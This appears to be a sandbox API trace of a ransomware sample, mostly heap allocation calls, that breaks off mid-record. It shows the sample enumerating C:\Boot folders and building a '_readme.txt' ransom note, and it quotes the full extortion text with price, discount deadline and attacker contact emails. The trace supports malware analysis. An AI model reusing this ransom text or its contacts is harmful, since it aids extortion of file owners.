[0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.204] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.204] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.205] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.205] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.206] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.206] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.207] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.207] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.208] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.208] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.209] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.209] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.210] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.210] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.210] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0117.210] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.210] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.210] PathFindFileNameW (pszPath="") returned="" [0117.210] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.210] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.210] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.210] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.211] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0117.211] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0117.211] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.211] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.211] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.211] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.211] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.211] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.211] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.211] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.211] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.211] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.211] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, 